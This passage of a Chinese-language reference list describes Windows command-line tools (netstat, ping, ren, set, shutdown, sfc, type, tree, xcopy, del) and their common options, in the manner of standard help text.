十、Netstat 显示活动的 TCP 连接、计算机侦听的端口、以太网统计信息、IP 路由表、IPv4 统计信息（对于 IP、ICMP、TCP 和 UDP 协议）以及 IPv6 统计信息（对于 IPv6、ICMPv6、通过 IPv6 的 TCP 以及通过 IPv6 的 UDP 协议）。使用时如果不带参数，netstat 显示活动的 TCP 连接。
-a 显示所有活动的 TCP 连接以及计算机侦听的 TCP 和 UDP 端口。
十一、Ping 通过发送“网际消息控制协议 (ICMP)”回响请求消息来验证与另一台 TCP/IP 计算机的 IP 级连接。回响应答消息的接收情况将和往返过程的次数一起显示出来。Ping 是用于检测网络连接性、可到达性和名称解析的疑难问题的主要 TCP/IP 命令。如果不带参数，ping 将显示帮助。名称和Ip地址解析是它的最简单应用也是用的最多的。
-t 指定在中断前 ping 可以持续发送回响请求信息到目的地。要中断并显示统计信息，请按 CTRL-BREAK。要中断并退出 ping，请按 CTRL-C。
-lSize
指定发送的回响请求消息中“数据”字段的长度（以字节表示）。默认值为 32。size 的最大值是 65,527。
十二、Rename (Ren)
更改文件的名称。 例如 ren *.abc *.cba
十三、Set 显示、设置或删除环境变量。如果没有任何参数，set 命令将显示当前环境设置。
十四、Shutdown 允许您关闭或重新启动本地或远程计算机。如果没有使用参数，shutdown 将注销当前用户。
-m ComputerName 指定要关闭的计算机。
-t xx 将用于系统关闭的定时器设置为 xx 秒。默认值是 20 秒。
-l 注销当前用户，这是默认设置。-m ComputerName 优先。
-s 关闭本地计算机。
-r 关闭之后重新启动。
-a 中止关闭。除了 -l 和 ComputerName 外，系统将忽略其它参数。在超时期间，您只可以使用 -a。
十五、System File Checker (sfc)
win下才有，在重新启动计算机后扫描和验证所有受保护的系统文件。
/scannow 立即扫描所有受保护的系统文件。
/scanonce 一次扫描所有受保护的系统文件。
/purgecache 立即清除“Windows 文件保护”文件高速缓存，并扫描所有受保护的系统文件。
/cachesize=x 设置“Windows 文件保护”文件高速缓存的大小，以 MB 为单位。
十六、type 显示文本文件的内容。使用 type 命令查看文本文件或者是bat文件而不修改文件
十七、Tree 图像化显示路径或驱动器中磁盘的目录结构。
十八、X 复制文件和目录，包括子目录。
/s 复制非空的目录和子目录。如果省略 /s，x 将在一个目录中工作。
/e 复制所有子目录，包括空目录。
十九、 将一个或多个文件从一个位置复制到其他位置
二十、del 删除指定文件。